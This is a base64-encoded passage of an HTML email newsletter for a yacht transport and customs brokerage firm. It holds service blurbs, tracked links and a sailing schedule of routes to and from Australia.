PSIxMCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgPHRkIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoMjU1LCAyNTUsIDI1NSk7 IiB3aWR0aD0iMzAiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0 ZCBjbGFzcz0iY29udGVudGJsb2NrIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKDI1NSwg MjU1LCAyNTUpOyIgd2lkdGg9IjU0MCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFk ZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGJvZHk+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRl ciIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgdmVydGljYWwtYWxpZ246IHRvcDsiIHdpZHRo PSIyMDAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8 YSBocmVmPSJodHRwOi8vbWFpbGJhbmsuY29tLmF1L3JlZGlyLmFzcD9FPTgzNzM3NDQmVD0xMzk0 MDImVT01NjAzZDAwZGY0YzY4ZmQ0OTQxYWRkMzJjMzkxMTYyYWU2ZCI+PGltZyBhbHQ9IiIgd2lk dGg9IjE1MCIgaGVpZ2h0PSIxMDAiIHN0eWxlPSJib3JkZXItd2lkdGg6IDBweDsgYm9yZGVyLXN0 eWxlOiBzb2xpZDsiIHNyYz0iaHR0cDovL3dlYnNpdGVzLm1haWxiYW5rLmNvbS5hdS9BdXJvcmFH bG9iYWxMb2dpc3RpY3MvaW1hZ2VzL2xpZnQuanBnIj48L2E+CiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Imh0dHA6Ly9tYWlsYmFuay5jb20u YXUvcmVkaXIuYXNwP0U9ODM3Mzc0NCZUPTEzOTQwMiZVPTU2MDNkMDBkZjRjNjhmZDQ5NDFhZGQz MmMzOTExNjJhZTZkIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPGg0IGNsYXNzPSJzZWNvbmRhcnkiPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJp YWw7Ij5MaWZ0IE9uIC8gTGlmdCBPZmY8L3NwYW4+PC9oND4KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTog QXJpYWw7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8 cD48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsOyBjb2xvcjogIzAwMDAwMDsiPlNhZmUg JmFtcDsgZWZmZWN0aXZlIGxpZnQgb24gLyBsaWZ0IG9mZiB0cmFuc3BvcnQgZm9yIHlvdXIgeWFj aHQuCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhy ZWY9Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUvcmVkaXIuYXNwP0U9ODM3Mzc0NCZUPTEzOTQwMiZV PTU2MDNkMDBkZjRjNjhmZDQ5NDFhZGQzMmMzOTExNjJhZTZkIj5GaW5kIE91dCBNb3JlPC9hPjwv c3Bhbj48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0 ZCBzdHlsZT0iIiB3aWR0aD0iNDUiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBzdHlsZT0idGV4dC1hbGlnbjog Y2VudGVyOyB2ZXJ0aWNhbC1hbGlnbjogdG9wOyIgd2lkdGg9IjIwMCI+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Imh0dHA6Ly9tYWlsYmFu ay5jb20uYXUvcmVkaXIuYXNwP0U9ODM3Mzc0NCZUPTEzOTQwMiZVPTU2MDkwZjI0ZjAzOTJhMzQ1 MDhhOWEyN2QwNTgzZjU1Y2U2Ij48aW1nIGFsdD0iIiB3aWR0aD0iMTUwIiBoZWlnaHQ9IjEwMCIg c3R5bGU9ImJvcmRlci13aWR0aDogMHB4OyBib3JkZXItc3R5bGU6IHNvbGlkOyIgc3JjPSJodHRw Oi8vd2Vic2l0ZXMubWFpbGJhbmsuY29tLmF1L0F1cm9yYUdsb2JhbExvZ2lzdGljcy9pbWFnZXMv Y3VzdG9tcy5qcGciPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgPGEgaHJlZj0iaHR0cDovL21haWxiYW5rLmNvbS5hdS9yZWRpci5hc3A/RT04Mzcz NzQ0JlQ9MTM5NDAyJlU9NTYwOTBmMjRmMDM5MmEzNDUwOGE5YTI3ZDA1ODNmNTVjZTYiPgogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDQgY2xhc3M9InNl Y29uZGFyeSI+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbDsiPkN1c3RvbXMgQ2xlYXJh bmNlPC9zcGFuPjwvaDQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIDwvYT48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsOyI+CiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc3Bhbj4KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+PHNwYW4gc3R5bGU9ImZvbnQt ZmFtaWx5OiBBcmlhbDsiPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwMDAwMDsiPkxlYWRpbmcgeWFj aHQgY3VzdG9tcyBhbmQgcXVhcmFudGluZSBicm9rZXJzIGluIEF1c3RyYWxpYS48L3NwYW4+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Imh0 dHA6Ly9tYWlsYmFuay5jb20uYXUvcmVkaXIuYXNwP0U9ODM3Mzc0NCZUPTEzOTQwMiZVPTU2MDkw ZjI0ZjAzOTJhMzQ1MDhhOWEyN2QwNTgzZjU1Y2U2Ij48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAw MDA7Ij5GaW5kIE91dCBNb3JlPC9zcGFuPjwvYT48L3NwYW4+PC9wPgogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICA8L3Rib2R5PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9ImJhY2tncm91bmQtY29s b3I6IHJnYigyNTUsIDI1NSwgMjU1KTsiIHdpZHRoPSIzMCI+PC90ZD4KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0 cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJiYWNrZ3Jv dW5kLWNvbG9yOiByZ2IoMjU1LCAyNTUsIDI1NSk7IiBjb2xzcGFuPSIzIiBoZWlnaHQ9IjEwIj48 L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICA8L3Rib2R5PgogICAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgog ICAgICAgICAgICAgICAgICAgICAgICA8dGFibGUgd2lkdGg9IjYyMCIgYm9yZGVyPSIwIiBjZWxs c3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAg PHRib2R5PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ciBiZ2NvbG9yPSIjM2M0 YTc3Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSIiIHdp ZHRoPSIzMCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNs YXNzPSJwcm9tb2NlbGwiIHZhbGlnbj0ibWlkZGxlIiBzdHlsZT0iIiBoZWlnaHQ9IjQwIj4KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+U2NoZWR1bGUgVXBkYXRlPC9wPgog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9IiIgd2lkdGg9IjIwIj48L3RkPgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9 ImJhY2tncm91bmQtY29sb3I6ICNmZmZmZmY7IiBjb2xzcGFuPSIyIj48L3RkPgogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249InJpZ2h0IiBzdHlsZT0iIiB3aWR0 aD0iMjAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW1nIGFsdD0iIiB3 aWR0aD0iMjAiIGhlaWdodD0iMjAiIHN0eWxlPSJib3JkZXItd2lkdGg6IDBweDsgYm9yZGVyLXN0 eWxlOiBzb2xpZDsiIHNyYz0iaHR0cDovL3dlYnNpdGVzLm1haWxiYW5rLmNvbS5hdS9BdXJvcmFH bG9iYWxMb2dpc3RpY3MvaW1hZ2VzL3NoYWRvd19ibHVlLnBuZyI+CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGJvZHk+CiAgICAgICAgICAgICAg ICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0YWJsZSB3aWR0aD0i NjAwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAg ICAgICAgICAgICAgICAgICAgICA8dGJvZHk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9ImJh Y2tncm91bmQtY29sb3I6IHJnYigyNTUsIDI1NSwgMjU1KTsiIHdpZHRoPSIzMCI+PC90ZD4KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJjb250ZW50YmxvY2si IHZhbGlnbj0idG9wIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2ZmZmZmZjsiPgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDQgY2xhc3M9InNlY29uZGFyeSIgc3R5bGU9 Im1hcmdpbi10b3A6IDBweDsiPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij5MaWZ0 IE9uIC8gTGlmdCBPZmY8L3NwYW4+PC9oND4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbDsiPjxyZXBlYXRlcj4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxheW91dCBsYWJlbD0iTGlmdCBEYXRlIj4K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9sYXlvdXQ+PC9yZXBlYXRlcj4K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPgogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICA8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2Vs bHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIiBzdHlsZT0id2lkdGg6IDUzMHB4OyBoZWlnaHQ6 IDIwNnB4OyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGJvZHk+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9IiIgd2lk dGg9IjMzMCI+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbDsgY29sb3I6ICMwMDAwMDA7 Ij5XZXN0IENvYXN0IEF1c3RyYWxpYSAvIEVhc3QgQ29hc3QgQXVzdHJhbGlhPGJyPgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFYXN0IENvYXN0IEF1c3Ry YWxpYSAvIFdlc3QgQ29hc3QgQXVzdHJhbGlhPGJyPgogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICBBdXN0cmFsaWEgLyBNZWQgLyBBdXN0cmFsaWE8YnI+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEF1c3RyYWxpYSAv IE5vcnRoZXJuIEV1cm9wZSAvIEF1c3RyYWxpYTxicj4KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgV2VzdCBDb2FzdCBVU0EgLyBBdXN0cmFsaWE8YnI+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEF1c3RyYWxpYSAv IEVhc3QgQ29hc3QgVVNBIC8gQXVzdHJhbGlhPGJyPgogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICBBdXN0cmFsaWEgLyBNaWRkbGUgRWFzdCZuYnNwOzxicj4K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXVzdHJhbGlh IC8gQXNpYSAvIEF1c3RyYWxpYTxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsOyBj b2xvcjogIzAwMDAwMDsiPldlZWtseTxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgRm9ydG5pZ2h0bHk8YnI+CiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIEZvcnRuaWdodGx5PGJyPgogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNb250aGx5PGJyPgogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNb250aGx5PGJyPgogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGb3J0bmlnaHRseTxicj4KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTW9udGhseTxicj4K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRm9ydG5pZ2h0 bHk8L3NwYW4+PGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwv dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9IiIg d2lkdGg9IjMzMCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDxoND5QZXRlcidzICZhbXA7IE1heSBTYWlsaW5nIFNjaGVkdWxlJm5ic3A7PC9oND4KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxicj4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSIiIHdpZHRoPSIzMzAiPjxhIGhyZWY9 Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUvcmVkaXIuYXNwP0U9ODM3Mzc0NCZUPTEzOTQwMiZVPTU2 MDA2OWM1ZThhNDg4MjRlZDI4MjE4YmQzODBhMGJkZjI5Ij5DTElDSyBIRVJFJm5ic3A7PC9hPjwv dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48 YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGJvZHk+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBz dHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKDI1NSwgMjU1LCAyNTUpOyIgd2lkdGg9IjMwIj48 L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8dGQgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYigyNTUsIDI1NSwgMjU1KTsiIGNvbHNw YW49IjUiIGhlaWdodD0iMzAiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGJvZHk+CiAgICAgICAgICAgICAg ICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0YWJsZSB3aWR0aD0i NjIwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAg ICAgICAgICAgICAgICAgICAgICA8dGJvZHk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPHRyIGJnY29sb3I9IiMzYzRhNzciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8dGQgc3R5bGU9IiIgd2lkdGg9IjMwIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICA8dGQgY2xhc3M9InByb21vY2VsbCIgdmFsaWduPSJtaWRkbGUiIHN0eWxl PSIiIGhlaWdodD0iNDAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD5B dXJvcmEgaW4gTW90aW9uPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8 L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9IiIgd2lk dGg9IjIwIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8dGQgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNmZmZmZmY7IiBjb2xzcGFu PSIyIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249 InJpZ2h0IiBzdHlsZT0iIiB3aWR0aD0iMjAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8aW1nIGFsdD0iIiB3aWR0aD0iMjAiIGhlaWdodD0iMjAiIHN0eWxlPSJib3JkZXIt d2lkdGg6IDBweDsgYm9yZGVyLXN0eWxlOiBzb2xpZDsiIHNyYz0iaHR0cDovL3dlYnNpdGVzLm1h aWxiYW5rLmNvbS5hdS9BdXJvcmFHbG9iYWxMb2dpc3RpY3MvaW1hZ2VzL3NoYWRvd19ibHVlLnBu ZyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwv dGJvZHk+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICAgICAgICAg ICAgICAgIDxkaXYgdW5zZWxlY3RhYmxlPSJvbiIgY2xhc3M9InJySGFuZGxlIHJyU1ciIHN0eWxl PSJwb3NpdGlvbjogYWJzb2x1dGU7IGN1cnNvcjogc3ctcmVzaXplOyB6LWluZGV4OiBhdXRvOyBo ZWlnaHQ6IDdweDsgd2lkdGg6IDdweDsgdG9wOiAxMDE4LjVweDsgbGVmdDogMzI2LjVweDsiPiZu YnNwOzwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IHVuc2VsZWN0YWJsZT0ib24i IGNsYXNzPSJyckhhbmRsZSByclMiIHN0eWxlPSJwb3NpdGlvbjogYWJzb2x1dGU7IGN1cnNvcjog cy1yZXNpemU7IHotaW5kZXg6IGF1dG87IGhlaWdodDogN3B4OyB3aWR0aDogN3B4OyB0b3A6IDEw MTguNXB4OyBsZWZ0OiA2MzZweDsiPiZuYnNwOzwvZGl2PgogICAgICAgICAgICAgICAgICAgICAg ICA8ZGl2IHVuc2VsZWN0YWJsZT0ib24iIGNsYXNzPSJyckhhbmRsZSByclNFIiBzdHlsZT0icG9z aXRpb246IGFic29sdXRlOyBjdXJzb3I6IHNlLXJlc2l6ZTsgei1pbmRleDogYXV0bzsgaGVpZ2h0 OiA3cHg7IHdpZHRoOiA3cHg7IHRvcDogMTAxOC41cHg7IGxlZnQ6IDk0NS41cHg7Ij4mbmJzcDs8 L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiB1bnNlbGVjdGFibGU9Im9uIiBjbGFz cz0icnJIYW5kbGUgcnJFIiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBjdXJzb3I6IGUtcmVz aXplOyB6LWluZGV4OiBhdXRvOyBoZWlnaHQ6IDdweDsgd2lkdGg6IDdweDsgdG9wOiA5ODMuNXB4 OyBsZWZ0OiA5NDUuNXB4OyI+Jm5ic3A7PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDxk aXYgdW5zZWxlY3RhYmxlPSJvbiIgY2xhc3M9InJySGFuZGxlIHJyTkUiIHN0eWxlPSJwb3NpdGlv bjogYWJzb2x1dGU7IGN1cnNvcjogbmUtcmVzaXplOyB6LWluZGV4OiBhdXRvOyBoZWlnaHQ6IDdw eDsgd2lkdGg6IDdweDsgdG9wOiA5NDguNXB4OyBsZWZ0OiA5NDUuNXB4OyI+Jm5ic3A7PC9kaXY+ CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgdW5zZWxlY3RhYmxlPSJvbiIgY2xhc3M9InJy SGFuZGxlIHJyTiIgc3R5bGU9InBvc2l0aW9uOiBhYnNvbHV0ZTsgY3Vyc29yOiBuLXJlc2l6ZTsg ei1pbmRleDogYXV0bzsgaGVpZ2h0OiA3cHg7IHdpZHRoOiA3cHg7IHRvcDogOTQ4LjVweDsgbGVm dDogNjM2cHg7Ij4mbmJzcDs8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiB1bnNl bGVjdGFibGU9Im9uIiBjbGFzcz0icnJIYW5kbGUgcnJOVyIgc3R5bGU9InBvc2l0aW9uOiBhYnNv bHV0ZTsgY3Vyc29yOiBudy1yZXNpemU7IHotaW5kZXg6IGF1dG87IGhlaWdodDogN3B4OyB3aWR0 aDogN3B4OyB0b3A6IDk0OC41cHg7IGxlZnQ6IDMyNi41cHg7Ij4mbmJzcDs8L2Rpdj4KICAgICAg ICAgICAgICAgICAgICAgICAgPGRpdiB1bnNlbGVjdGFibGU9Im9uIiBjbGFzcz0icnJIYW5kbGUg cnJXIiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBjdXJzb3I6IHctcmVzaXplOyB6LWluZGV4 OiBhdXRvOyBoZWlnaHQ6IDdweDsgd2lkdGg6IDdweDsgdG9wOiA5ODMuNXB4OyBsZWZ0OiAzMjYu NXB4OyI+Jm5ic3A7PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDxyZXBlYXRlcj4KICAg ICAgICAgICAgICAgICAgICAgICAgPGxheW91dCBsYWJlbD0iQXVyb3JhIE5ld3MiPgogICAgICAg ICAgICAgICAgICAgICAgICA8L2xheW91dD48L3JlcGVhdGVyPgogICAgICAgICAgICAgICAgICAg ICAgICA8dGFibGUgd2lkdGg9IjYwMCIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBh ZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRib2R5PgogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPHRkIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoMjU1LCAyNTUsIDI1NSk7IiBj b2xzcGFuPSIzIiBoZWlnaHQ9IjEwIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IHJn YigyNTUsIDI1NSwgMjU1KTsiIHdpZHRoPSIzMCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmZmZmOyI+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0YWJsZSB3aWR0aD0iMTAwJSIgYm9y ZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPHRib2R5PgogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIDx0ciB2YWxpZ249InRvcCI+CiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0iIiB3aWR0aD0iMjAwIj48YnI+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbWcgYWx0 PSIiIHdpZHRoPSIzMjQiIGhlaWdodD0iMjQxIiBzcmM9Imh0dHA6Ly93ZWJzaXRlcy5tYWlsYmFu ay5jb20uYXUvQXVyb3JhR2xvYmFsTG9naXN0aWNzL2ltYWdlcy9hZHZlcnQtaGVhZGVyLmpwZyI+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0i IiB3aWR0aD0iMTUiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg 